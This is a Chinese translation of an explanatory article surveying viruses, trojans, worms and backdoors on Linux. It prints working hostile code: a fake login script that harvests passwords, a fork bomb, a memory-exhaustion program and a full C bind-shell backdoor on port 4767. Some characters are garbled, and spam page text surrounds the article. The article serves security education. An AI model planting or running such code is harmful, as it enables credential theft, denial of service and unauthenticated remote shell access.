• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
  • 關于Linux下病毒的話題

    發表于:2007-07-02來源:作者:點擊數: 標簽:
    簡介 通常有四種截然不同類型的威脅,不過用戶經?;煜鼈?,這主要是因為一次攻擊的發生往往是各種機制同時作用的結果: 病毒 自我復制以感染宿主程序體; 特洛伊木馬 執行任務以將之自身隱藏在某個貌似無害的應用程序中; 蠕蟲 利用計算機 網絡 來進行自我

    簡介

      通常有四種截然不同類型的威脅,不過用戶經?;煜鼈?,這主要是因為一次攻擊的發生往往是各種機制同時作用的結果:

      病毒 自我復制以感染宿主程序體;
      特洛伊木馬 執行任務以將之自身隱藏在某個貌似無害的應用程序中;
      蠕蟲 利用計算機網絡來進行自我繁殖,例如通過電子郵件;
      后門程序 允許外部用戶使用間接手段掌控某項應用程序。

      對它們加以分類通常不那么容易;例如,有些程序在某些觀測者看來是病毒,但其它人卻認為它們是蠕蟲,要做出最終的決策是十分棘手的。不過對于本文所涉及的范圍來說,這倒并不很重要,本文意在闡明哪種威脅會危及Linux系統。

      與普遍看法正相反的是,這四種禍害其實已經都存在于Linux上了。當然,病毒的傳播環境不像在如DOS下那么有利,但現有的威脅亦不容小視。就讓我們分析一下有哪些風險。

    潛在的威脅

      病毒

      病毒是一小段安置在某個宿主程序核心位置的代碼,它能夠通過感染新的執行文件來自我復制。病毒最早出現于70年代,當時的程序員在玩一個叫做"core war"的游戲。這個游戲來自于Bell AT&T laboratories[MARSDEN 00]。其目標是在有限的內存區域里并行運行,小程序能夠互相破壞。操作系統沒有提供程序內存區域之間的保護,這樣就允許相互進攻以消滅對手。為此,有些人使用@#0@#來“轟炸”最大可能的內存區域,與此同時,其它一些人永遠在地址空間中移動,希望覆蓋掉對手的代碼,有時,他們中的一些會聯合起來消滅某個難對付的“敵人”。

      實現該游戲的算法被翻譯成一門特別為其創建的匯編語言“red code”,它通過絕大多數現有機器上的仿真器來執行。游戲中的樂趣更多源于科學的好奇,就如對the Life of Conway Game,不規則碎片形和遺傳算法等的狂熱一樣。

      不過,隨著關于core war的文章發表在Scientific American[DEWDNEY 84]上,不可避免的事發生了,有些人開始編寫小段的自我復制的代碼,這些代碼特別針對于軟驅啟動扇區或者可執行文件。起初是在Apple ][計算機上出現,接下來就到了MacIntosh和PC的計算機上。

      MS DOS操作系統成為了病毒繁殖環境的絕佳之選:靜態可執行文件有著眾所周知的格式,沒有內存保護,沒有基于文件存取權限的安全設置,廣泛地在內存中堆疊使用TSR常駐程序,等等。我們必須還加上一條用戶心理狀態的因素,他們瘋狂地用軟盤交換可執行程序甚而毫不考慮文件的來源。

      在最簡單的模式中,病毒就是一小段代碼,它可以在啟動一項應用程序時作為附件執行。它將利用這段時間來查找其它尚未感染的可執行文件,將其自身內嵌入這些文件中(要是考慮再周到一些,最好保持原程序不作修改)并退出。一旦啟動新的可執行文件時,進程即會重新啟動。

      得益于大量“利器”的協助,病毒可以自動復制自身。在[LUDWIG 91]和[LUDWIG 93]中,有關于for DOS病毒的詳細描述,它們使用詭秘的隱身術以保持領先于當前的殺毒軟件:隨機加密,代碼永久變化等等。你甚至可能遇到使用遺傳算法來優化其生存期和繁殖能力的病毒。相關的信息你可以在以下這篇非常著名的文檔中找到:[SPAFFORD 94].

      而我們必須牢記于心的是計算機病毒已經超越了虛擬生活中試驗的主題范圍,它可以造成大面積的損害。一小段代碼的多重復制本質不過是空間的浪費(磁盤和內存),而病毒則可以此作為支撐——運輸工具——來服務于其它更加令人不快的東西:邏輯炸彈,我們將在特洛伊木馬中再次談到它。

      特洛伊木馬和邏輯炸彈

      Timeo Danaos et dona ferentes - 即便當希臘人送禮時,我也懼怕他們。 (Virgile, Aeneid,II, 49)。

      被圍困的特洛伊人作了一個糟糕的決定,他們將大量被希臘攻擊者作為宗教祭品而遺棄的木馬雕像放進了城。真正的突擊隊就藏在特洛伊木馬的側部,待到他們一旦滲入城內,便利用夜幕掩護從里面攻擊城池,這樣使得希臘人最終贏得了特洛伊戰爭的勝利。

      著名的“特洛伊木馬”常被用作計算機安全領域的專門術語,它表示一個看似無害的應用程序,就如上面提到的病毒一樣,傳播破壞性的代碼邏輯炸彈。

      邏輯炸彈是一段惡意傷害的程序,它具備各種迥異的效力:

      系統資源的高消耗(內存,硬盤,CPU等等。);
      所有可能文件的快速破壞(覆蓋它們以阻止用戶找回其內容);
      不時地對一個文件進行秘密侵蝕,以盡可能隱藏得更久;
      對系統安全的攻擊(執行十分松懈的存取權限,將密碼文件發送給一個internet地址等等。);
      將該機器作為計算機恐怖行動之用,這些恐怖行動如DDoS(Distributed Denial of Service)之類的都在業已聞名的文章[GIBSON 01]中有提到;
      關于磁盤上應用程序注冊碼的詳細清單,并將其發送給軟件開發者。

      在某些情況下,邏輯炸彈會針對特定的目標系統來編寫,以試圖竊取其上的機密信息,破壞特殊文件或者盜用用戶身份識別去毀損其名譽。同樣的炸彈在任何其他類型的系統上則是無害的。

      邏輯炸彈也可以試圖在物理上破壞其駐留的系統。這種可能性雖然不大,但是確實存在(刪除CMOS存儲器內容,修改modem閃存內容,打印機、繪圖儀、掃描儀的頭部毀滅性的移動,硬盤讀磁頭的加速運轉...)

      倘若繼續按照“炸彈”的比喻描述,我們可以說邏輯炸彈需要雷管來引爆。實際上,就效率而言,特洛伊木馬或病毒在首次啟動時就執行破壞性的操作是一個不好的策略。在安裝了邏輯炸彈之后,最好是等待一會再爆炸。對于病毒傳播來說,這可以增加其在其它系統中傳播的“機會”;而就特洛伊木馬來說,則可以不讓用戶太容易發現新的應用程序安裝與他機器上的異?,F象之間的聯系。

      就像任何害人之舉一樣,發作機制也是各有不同:安裝后延遲十天,刪除特定用戶帳號(臨時刪除),鍵盤和鼠標停止活動30分鐘,打印機隊列的高負載...無所不缺!最有名的特洛伊木馬是屏幕保護程序,盡管今天看來這有點太老套。在誘人的外表下,這些程序能夠不受干擾地實施破壞,特別是如果邏輯炸彈恰在一小時之后引爆,那么幾乎可以肯定用戶此時已經不在計算機前面了。

      另一個特洛伊木馬的著名例子是下面這個腳本,它顯示一個登錄/密碼(login/password)屏幕,并發送信息給啟動程序的人然后退出。若它工作于未使用的終端,該腳本將會俘獲下個嘗試連接的用戶的密碼。

    clearcase/" target="_blank" >cccccc border=1>
      #! /bin/sh   clear   cat /etc/issue   echo -n "login: "   read login   echo -n "Password: "   stty -echo   read passwd   stty sane   mail $USER <<- fin login: $login passwd: $passwd   fin   echo "Login incorrect"   sleep 1   logout

      為使之在完成以后斷開連接,它必須用shell命令exec啟動。當受害者看到"Login incorrect"消息時,會以為自己輸入錯誤,他們會以常規的方法嘗試再次連接。更為高級的版本能夠模擬X11連接對話框。為了避免落入這種圈套,最好是先在終端上使用一個錯誤的登錄/密碼(這種方法反其道而行之,十分容易而且很快就能學會)。

      蠕蟲

      Paul發現自己在Worm之上,歡呼雀躍,就像一位君主主宰了整個宇宙。(F. Herbert "Dune") "Worms"出自于與病毒一樣的原理。它們是一種嘗試復制自身以盡可能傳播得最廣的程序。它們也可以攜帶一枚裝備了延遲觸發器的邏輯炸彈,盡管這并非其主要功能。蠕蟲與病毒的差別在于蠕蟲不使用宿主程序作為傳播媒介,它們試圖得益于由網絡提供的功能,例如電子郵件來從一臺機器傳到另一臺機器。

      蠕蟲的技術等級相當高;它們利用提供網絡服務的軟件的漏洞來促使其在遠程機器上自我復制。其原型是1988"Internet Worm"。

      Internet Worm是一個純蠕蟲的例子,沒有包含邏輯炸彈,不過其不露聲色的破壞效果十分可怕。你可以在[KEHOE 92]上找到對其簡短而精到的描述,或者在[SPAFFORD 88]或[EICHIN 89]上找到詳細的分析報告。

      簡而言之,蠕蟲程序的作者是Robert Morris Jr,他當時是Cornell大學的學生,并已經因為一篇關于網絡協議中的安全問題的文章[MORRIS 85]而小有名氣。他便是在NCSC(NSA的分支部門)因計算機安全而被指控的那個人。程序是在1988年11月2日傍晚發布的,并且導致連接到Internet上的絕大多數系統停止運行。它的工作步驟如下:

      1.一旦滲透進入計算機,蠕蟲就嘗試傳入網絡。為了獲取地址,它讀取系統文件并調用工具程序如netstat來提供關于網絡接口的信息。

      2.接下來,它試圖獲得用戶帳號。為此,它拿字典內容與密碼文件作比較。同時,它嘗試使用用戶名字的組合(反向,重復等等)作為密碼。這一步會要借助于系統的第一個漏洞:密碼加密在一個可讀的文件(/etc/passwd)中,這樣便可以從某些用戶對密碼的糟糕選擇中獲益。第一個漏洞現在已經通過使用shadow passwords獲得解決。

      3.如果成功地獲得了用戶的帳號,蠕蟲會試圖找出那些提供直接訪問而無需身份鑒定的機器,也就是使用~/.rhost和/etc/hosts.equiv文件。在那種情況下,再使用rsh來在遠程機器上執行指令。這樣,就能將其自身復制到新的主機上并且循環再次開始。

      4.否則的話,就使用第二個系統漏洞來進入其它機器:fingerd緩存溢出漏洞。(檢查我們關于安全編程的系列文章:Avoiding security holes when developing an application - Part 1, Avoiding security holes when developing an application - Part 2: memory, stack and functions, shellcode, Avoiding security holes when developing an application - Part 3: buffer overflows。)

      這個缺陷允許了遠程代碼執行。然后蠕蟲能夠復制自身到新的系統上并再次開始。實際上,這只在某些類型的處理器上有效。

      5.最后,使用第三個漏洞:一個調試選項,它默認地在sendmail守護進程中激活,允許郵件發送最終傳輸的內容到程序指定作為目標的標準輸出上。該選項在運行機器上應該永遠不被激活,但是,不幸地是,絕大多數系統管理員忽視了它的存在。

      我們應注意的是一旦蠕蟲能夠在遠程機器上執行一些指令,那么復制自身的方法是相當復雜的。它需要傳輸一個小的C程序,在現場重新編譯,然后啟動。接著,它建立一條TCP/IP連接來啟動計算機并取回所有蠕蟲的二進制程序代碼。那些最終的和預編譯的蠕蟲代碼現存于各種體系結構(Vax和Sun),而且相繼都作了測試。此外,蠕蟲非常善于隱藏自身,這讓你無跡可尋。

      不幸地是,阻止計算機感染蠕蟲的機制并非總能如愿地起作用,而且不包含邏輯炸彈的Internet 88蠕蟲的害處就在于導致所感染系統的極度過載(特別是對郵件的阻塞,這引起郵件提交的延遲)。

      蠕蟲的作者曾經在監獄中呆過一段時間。

      由于其復雜性,蠕蟲相對要稀少一些。一定不要將它們與別的類型的威脅,像作為電子郵件附件傳輸的病毒如著名的"ILoveYou"相混淆。那些都是十分簡單的,它們不過是用宏編寫的(在Basic中)可執行程序以在閱讀郵件時自動啟動。這只對某些操作系統有效,例如當郵件閱讀器配置得太簡單時。這些程序更像特洛伊木馬,而非蠕蟲,因為它們都要求用戶的操作來啟動程序。

      后門程序

      可以拿后門程序與特洛伊木馬作比較,不過它們并不相同。一個后門程序允許(“高級”)用戶操作軟件來修改其行為。它可與游戲中用來獲取更多資源,或達到更高級別等目標的欺騙代碼相提并論。只是這也同樣適用于關鍵的應用程序,如連接認證程序或電子郵件,因為它們可以對密碼進行隱藏訪問,該密碼僅有軟件的創建者知曉。

      程序員希望減輕調試階段的工作,因此常常留有一個小的后門開放以使之能夠無需經過認證機制而直接使用軟件,即使當應用程序已經安裝在客戶端時也是如此。有時它們使用默認密碼(system,admin, superuser等等)是正式的訪問設置,不過這些密碼并沒有在文檔中仔細記載,結果管理員仍舊讓其開著。

      記得不同的隱藏的訪問入口是在"Wargame"電影中才允許放在和系統內核一起討論的,不過你也可以找到關于此類實踐的更早報道。在一篇難以置信的文章[THOMPSON 84]中,Unix之父其中的一位Ken Thompson描述了他于數年前在Unix系統上實現的隱藏的訪問入口:

      他修改了/bin/login應用程序以內嵌一小段代碼,通過輸入預先編譯好的硬編碼的密碼(不須考慮/etc/passwd)可提供對系統的直接訪問。這樣,Thompson能夠使用這個login版本訪問每個系統。

      不過,該應用程序的源碼只存于當時(像是為了今天的自由軟件)。之后,login.c的源碼在Unix系統上公布,這樣每個人都能讀取俘獲的代碼。因此,Thompson提供了干凈的不帶訪問后門的login.c。

      問題在于每個管理員都能夠重新編譯login.c來刪除俘獲了的版本。于是,Thompson修改了標準C編譯器以使之能夠在注意到某人試圖編譯login.c時添加后門。

      但是接著編譯器源代碼cc.c又出現了,這樣每個人都能讀取或者重新編譯編譯器。為此,Thompson提供了干凈的編譯器源代碼,但是已經處理過的二進制文件能夠識別自己的源文件,那么還是包含了用來感染login.c的代碼...

      怎樣解決這個問題?咳,毫無辦法!唯一的方法就是使用一個全新的系統重新啟動。除非你在安裝機器時從頭創建所有的微代碼,操作系統,編譯器,實用工具,否則你無法確定每個應用程序都是干凈的,即使是那些有源碼的程序。

    那么,Linux怎么樣?

      我們呈現了任何系統上的主要風險?,F在,讓我們來看看與自由軟件和Linux相關的威脅。

      邏輯炸彈

      首先,讓我們看看當邏輯炸彈在Linux機器上執行時能帶來怎樣的危害。顯而易見,這依賴于所希望達到的效果和啟動它的用戶身份的特權。

      至于論及系統文件的損壞或者機密數據的讀取,我們會有兩種情形。如果炸彈以root身份執行,它會擁有在機器上的最高權力,包括刪除每個分區以至如上面所提到的一樣給硬件造成永久的傷害。如果它是在任何其它用戶身份下啟動,那么它所造成的破壞不會超出用戶的權限之外。它只能破壞屬于該用戶的數據。在此種情形下,每個人管理他自己的文件。一個盡職的系統管理員以root身份只運行很少的任務,這樣可以減少在該賬號下啟動邏輯炸彈的可能性。

      Linux系統在私有數據和硬件存取的保護上做得相當不錯,不過它對于那些采用耗盡大量資源以使系統無法工作的攻擊敏感。例如,以下的C程序就很難停下來,即使是以普通用戶啟動也如此,這樣,如果用戶使用的進程數沒有限制,它會“吃盡”進程表中所有的可用條目并阻止任何連接嘗試殺死它:

    #include #include  int main (void)   {   int i;   for (i = 0; i < NSIG; i ++)   signal (i, SIG_IGN);   while (1)  fork ();   }

      你可以對用戶實施的限制(使用setrlimit()系統調用和shellulimit函數)能縮短此類程序的壽命,但是它們只在經過一段時間后才起作用,在此期間內,系統是無法到達的。

      還是同樣的原因,如下的程序耗盡所有可用的內存并循環運行“吃掉”CPU周期,這給其它進程造成極大的干擾。

    #include #define LG 1024 int main (void) {   char * buffer;   while ((buffer = malloc (LG)) != NULL)   memset (buffer, 0, LG);   while (1)  ;   }

      通常該程序可以通過最新內核的發布版本中的虛擬內存管理機制來自動殺死。不過在此之前,殺死其它任務的內核需要大量的內存和短暫的停止活動(例如X11應用程序)。此外,所有其它需要內存的進程無法得到滿足,這常常會導致它們終止運行。

      攪亂網絡部件運行也很容易,可以使用不斷的連接請求來使相應的端口過載。避免它的方法是有,不過它們通常要由管理員來執行。由此,我們會注意到在Linux下,即便由普通用戶啟動的邏輯炸彈破壞不了不屬于他的文件,但它還是十分討厭。將一些fork(),malloc()和connect()組合起來運行足以對系統和網絡服務帶來沉重的壓力。

    病毒

      主題:Unix病毒   你接收到Unix病毒。   本病毒依照協作原則工作:   如果你使用Linux或者Unix,請將此郵件轉發給你     的朋友并隨機地破壞你系統上的一些文件。

      撇開那個普遍的看法不論,病毒確是Linux下的一項威脅。各種類型的病毒都有。在Linux下病毒找不到傳播的有益土壤,這倒是沒錯的。首先,讓我們看看病毒在機器上滋生的階段。病毒代碼必須在此執行。這意味著一個被侵蝕的可執行文件從其它機器復制過來了。在Linux世界中,提供一個應用程序給某人的常規做法是給他軟件所在的URL,而不是發給他執行文件。這意味著來自官方站點的病毒很快就能偵測到。一旦機器被感染而傳播病毒,它仍將用作預編譯應用程序的發布平臺,這是極為罕見的。實際上,對于自由軟件世界中的邏輯炸彈而言,可執行文件并非好的傳輸介質。

      至于提到在機器內部的傳播,很明顯,一個被侵蝕的應用程序只能傳染給運行該程序的用戶具有寫權限的文件。只在完成那些確實需要特權的操作時才以root身份工作的聰明的管理員不大可能在連接到此身份下時運行新的軟件。除了安裝Set-UID root應用程序時會感染病毒之外,風險可以大大減小。當普通用戶將要運行一個被感染的程序時,病毒只會作用于屬于該用戶的文件,這可以防止其感染系統實用程序。

      倘若說很長時間內Unix下的病毒被視作烏托邦的話,那也是因為處理器(之后是匯編語言)和庫文件(之后是對象引用)的多樣性限制了預編譯代碼的作用范圍。今天則并非如此,一個感染i386處理器Linux的用Glibc 2.1編譯的ELF文件的病毒會找到許多目標。除此之外,病毒編寫的語言獨立于執行它的主機。比如說,這兒有一個針對shell scripts的病毒。它試圖侵入其啟動目錄下每個shell腳本。為了避免多次感染同一腳本,病毒忽略在第二行有注釋“infectd”或“vaccinated”的文件。

      病毒并不關心隱藏自身或其操作,除非它是在后臺執行而讓原始腳本來完成它的常規工作。當然,不要以root身份運行該腳本!特別是如果你用find .替換了find /。這個程序不僅簡潔,而且它很容易放任其控制,特別是如果系統包含大量定制的shell腳本。

      表1中含有Linux下知名病毒的相關信息。通過在文件頭插入其代碼并返回原始代碼的剩余部分,它們都可感染ELF可執行文件。除非告知,否則它們會在系統目錄下查找潛在的目標。從此表中,你可以注意到在Linux下的病毒即使沒有太多告警,也見不著其顯山露水,主要是因為目前為止病毒都是無害的。

    Table 1 - Linux下的病毒
    名稱 邏輯炸彈 備注
    Bliss 表面無活動 如果調用選項--bliss-disinfect-files-please,可自動消除對可執行文件的感染。
    Diesel  
    Kagob 使用臨時文件來執行已感染的原始程序
    Satyr  
    Vit4096 只感染當前目錄的文件。
    Winter 病毒代碼為341字節。只感染當前目錄中的文件。
    Winux 該病毒有兩種不同代碼,可分別用來感染Windows文件和Elf Linux文件。不過它不能探測除了自身所在分區之外的其它分區,這減少了其傳播的機率。
    ZipWorm 在其發現的Zip文件中插入一關于Linux和Windows的“誘餌(troll)”文本。(“troll”=瑞典神話中的一種小矮人(譯者注:愛惡作劇而態度友好的侏儒))  

      你會注意到“Winux”病毒既能夠在Windows也能在Linux下傳播。它是一種無害的病毒,與其說是一種實際危險,不如說是一種可能性的驗證。不過,當你想到這樣的一個入侵者能夠從一個分區跳到另一個分區,使用Samba服務器入侵不同類型的網絡等等,你就會對這種設計感到不寒而栗了。要想連根鏟除是一件很痛苦的事情,因為需求的工具必須可同時用于兩類系統。應予重視的是,如果Linux分區可以由運行于Windows下的病毒訪問的話,那么Linux用來阻止在普通用戶身份下運行的病毒破壞系統文件的保護機制就形同虛設了。

      讓我們強調這一點:如果你從最終的多平臺病毒駐留的Windows分區重新啟動機器,那么你在Linux下所做的每項防范管理都是毫無用處的。對于每臺使用雙引導啟動兩個操作系統的機器而言這都是個問題;整體的保護完全依賴于最脆弱的那個系統的安全機制而定!唯一的解決方法是使用加密的文件系統來阻止任何Windows應用程序訪問Linux分區。這種病毒尚未廣為傳播,不過我打賭說攻擊未掛載分區的病毒將很快成為Linux機器上重大威脅的代表。

      特洛伊木馬

      特洛伊木馬和病毒一樣可怕,人們似乎對它更為警惕。與通過病毒傳播的邏輯炸彈不同,在特洛伊木馬中發現的邏輯炸彈都是人們有意插入的。在自由軟件世界中,從一小段代碼的作者到最終的用戶都會受到一個或兩個協調者(比如說項目的負責人和發布版本的籌備人)的約束。如果發現了特洛伊木馬,那么很容易抓到“罪犯”。

      自由軟件因而可以十分有效地防范特洛伊木馬。但是我們討論的自由軟件,正如我們今天所知道的,是指那些具備項目管理,善于接納的開發者和相關web站點的軟件。這與共享軟件或免費軟件大有不同,這些軟件都是預編譯好的,以一種無政府的方式由上百個web站點發布(或者通過雜志附帶的CD發布),其作者只能通過一個很容易偽造的e-mail地址而獲悉;這些都使得特洛伊木馬可以可靠地生存。

      我們應注意到這樣一個事實,擁有應用程序的源代碼且進行編譯并不能作為安全的保證。例如,有害的邏輯炸彈可以隱藏在"configure"腳本中(在運行"./configure; make"時調用),而這樣的腳本通常會有大約2000行長!最起碼但并非最足夠的保證,應用程序的源代碼應是干凈的并能編譯;不過這還是無法阻止Makefile隱藏邏輯炸彈,并在最后運行"make install"時激活自身,而這通常正是以root身份運行的!

      最后,病毒和特洛伊木馬在Windows下作祟的一個重要部分是涉及文檔時的宏執行。在Linux下的工作程序包是不能解析這些宏的,至少目前為止是這樣,用戶短時間能得到一種言過其實的安全感。到某個時候,這些工具會能夠執行包括在文檔中的Basic宏。設計者讓這些宏在系統上運行命令遲早會被證明是個糟糕的主意。當然,對于病毒,破壞的效應會受到用戶特權的限制,但是可靠系統文件(至少安裝CD上還有)的事實對于那些剛剛丟失了他的文檔、源文件和郵件而備份又是一個月之前的用戶來說,不會帶來多少安慰。

      在結束關于數據中特洛伊木馬的這個部分之時,我們應注意到:總是有方法來煩擾用戶的,即使不是有害的,即使有些文件還需要解釋。在Usenet上,你可以看到,不時地壓縮文件會自我繁殖為大量文件直到達到磁盤的飽和。有些Postscript文件也能夠阻塞解釋程序(ghostscript或gv)而消耗CPU時間周期。這些并沒有危害,不過它們讓用戶用時無法保證而且擾人不淺。

      蠕蟲

      在1988 Internet蠕蟲問世之時,還沒有Linux存在;Linux本應成為這種攻擊的最佳選擇,但自由軟件源代碼的存在使得搜索漏洞變得非常容易(例如,緩沖區溢出)。編寫一個“高質量”蠕蟲的復雜性減少了那些在Linux下真正活躍的人數。表2介紹了一些蠕蟲,它們都是傳播甚廣的。

      蠕蟲可以利用網絡服務器的漏洞。對于偶爾連接到Internet的工作站而言,理論上風險要小于一直連接的服務器。不過,為家庭用戶提供的接入類型(Cable,SDL等等)的發展以及目前網絡服務(HTTP服務器,匿名FTP等)的易實現性意味著它很快會成為人人所關注的目標。

    表2 - Linux下的蠕蟲
    名稱 攻擊的漏洞 備注
    Lion (1i0n) bind 在入侵的機器上安裝后門程序(TCP port 10008)和root-kit。發送系統信息給一個在中國的email地址。
    Ramen lpr, nfs, wu-ftpd 修改它所找到的index.html文件
    Adore (Red Worm) bind, lpr, rpc, wu-ftpd 在系統上安裝后門程序并發送系統信息到在中國和美國的email地址。安裝一個ps的修改版本來隱藏其進程。
    Cheese 和Lion類似 該蠕蟲是一個正派程序,是用來檢查和刪除被Lion開放的后門的。

      關于蠕蟲,我們應注意到它們的傳播受到時間的限制。它們只在從一個系統復制到另一系統時是“活著的”,而且因為其依賴于最新發現的漏洞,目標應用程序的迅速升級可以停止它們的傳播。在不久的將來,家用系統可能會自動查詢相關的web站點(每天)——這需要信任——以在此查找系統應用程序的安全補丁。這對于避免用戶全天以系統管理員身份工作并使之能協助執行網絡應用程序來說很有必要。

      后門程序

      后門程序的問題相當嚴重,即使對于自由軟件也是如此。當然,因為有了程序的源代碼,理論上你可以檢查它做了什么。實際上,很少有人能夠讀懂從Internet上下載的檔案文件內容。例如,下面的小程序提供了一個完整的后門程序,可是其容量小到可以隱藏于一個足夠大的應用程序中。該程序引自我的書[BLAESS 00],用于舉例說明偽終端的機制。該程序不是很好讀,因為它取消了注釋以使之更短。絕大多數錯誤檢查也因同樣的原因被去除了。當執行時,它在該機器的每個網絡接口的程序開頭指定的端口(默認為4767)上打開一個TCP/IP服務器。每條請求到此端口的連接會自動訪問一個shell而無任何身份鑒別!!!

    #define _GNU_SOURCE 500 #include #include #include #include #include #include #include #define ADRESSE_BACKDOOR INADDR_ANY #define PORT_BACKDOOR 4767 int main (void)   {   int sock;   int sockopt;   struct sockaddr_in adresse; /* address */   socklen_t longueur; /* length */   int sock2;   int pty_maitre; /* pty_master */   int pty_esclave; /* pty_slave */   char * nom_pty; /* name_pty */   struct termios termios;   char * args [2] = { "/bin/sh", NULL };   fd_set set;   char buffer [4096];   int n;   sock = socket (AF_INET, SOCK_STREAM, 0);   sockopt = 1;   setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, & sockopt, sizeof(sockopt));   memset (& adresse, 0, sizeof (struct sockaddr));   adresse . sin_family = AF_INET;   adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);   adresse . sin_port = htons (PORT_BACKDOOR);   if (bind (sock, (struct sockaddr *) & adresse, sizeof (adresse)))   exit (1);   listen (sock, 5);   while (1) {   longueur = sizeof (struct sockaddr_in);   if ((sock2 = accept (sock, & adresse, & longueur)) < 0)   continue;   if (fork () == 0) break;   close (sock2);   }   close (sock);   if ((pty_maitre = getpt()) < 0) exit (1);   grantpt (pty_maitre);   unlockpt (pty_maitre);   nom_pty = ptsname (pty_maitre);   tcgetattr (STDIN_FILENO, & termios);   if (fork () == 0) {   /* Son: shell execution in the slave   pseudo-TTY */   close (pty_maitre);   setsid();   pty_esclave = open (nom_pty, O_RDWR);   tcsetattr (pty_esclave, TCSANOW, & termios);   dup2 (pty_esclave, STDIN_FILENO);   dup2 (pty_esclave, STDOUT_FILENO);   dup2 (pty_esclave, STDERR_FILENO);   execv (args [0], args);   exit (1);   }   /* Father: copy of the socket to the master pseudo-TTY and vice versa */ tcgetattr (pty_maitre, & termios);   cfmakeraw (& termios);   tcsetattr (pty_maitre, TCSANOW, & termios);   while (1) {   FD_ZERO (& set);   FD_SET (sock2, & set);   FD_SET (pty_maitre, & set);   if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1, & set, NULL, NULL, NULL) < 0)   break;   if (FD_ISSET (sock2, &set)) {   if ((n = read (sock2, buffer, 4096)) < 0)   break;   write (pty_maitre, buffer, n);   }   if (FD_ISSET (pty_maitre, &set)) {   if ((n = read (pty_maitre, buffer, 4096)) < 0)   break;   write (sock2, buffer, n);   }   }   return (0);   }

      插入這樣的一段代碼到龐大的應用程序(例如sendmail)會隱藏上足夠長的時間來進行骯臟的滲透。此外,有些人在隱藏小段代碼運行的技巧上是老手,像每年在IOCC(International Obsfucated C Code Contest)競賽中提交的程序就能作為佐證。

      不應認為后門程序僅是理論上的可能。這類困難確的確已經遭遇過,例如在Red-Hat 6.2發布版本中的Piranha程序包就能接收默認密碼。Quake 2程序同樣也懷疑隱藏了后門程序以允許遠程執行命令。

      后門程序的機制也可以將其自身隱藏于非常復雜的外表環境中以至于對于絕大多數的人來說是探測不到的。一個典型的例子就是關于加密系統的后門程序。例如,在工作的SE-Linux系統是一個使用了由NSA提供的補丁增強安全的Linux版本。檢查了所提供的補丁的Linux開發者說它沒有什么值得懷疑,但是誰也不能確信,何況很少有人能有足夠的數學知識來發現此種漏洞。

    結論

      探究這些在Gnu/Linux世界中發現的有害程序使我們得到如下結論:自由軟件無法抵御病毒,蠕蟲,特洛伊木馬或者其它之類的!不要過于草率,必須注意關于當前應用程序的安全警告,特別是當工作站是頻繁連接到Internet時?,F在形成好的習慣是很重要的:一旦發現漏洞,就立即升級軟件;只使用所需求的網絡服務;從可信任的web站點下載應用程序;對于下載的包盡可能經常地檢查PGP或者MD5簽名。最“嚴肅的”人會使對于安裝應用程序的控制自動化,例如使用腳本。

      第二條應注意的:未來Linux系統的兩項主要危險一是工作應用程序盲目地解析包含在文檔(包括電子郵件)中的宏,二是多平臺病毒,它們即使在Windows下執行,也能侵入同一臺機器上在Linux分區所找到的可執行文件。如果說第一個問題取決于用戶的行為,他們應該不允許工作應用程序接受任何東西,那么第二個問題就是相當難以解決的,即使對于盡職的管理員也是如此。在很近的將來,必須將強大的病毒探測器應用于連接到Internet的Linux工作站;讓我們期待這類項目會在自由軟件世界中很快出現。


     

    原文轉自:http://www.kjueaiud.com

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>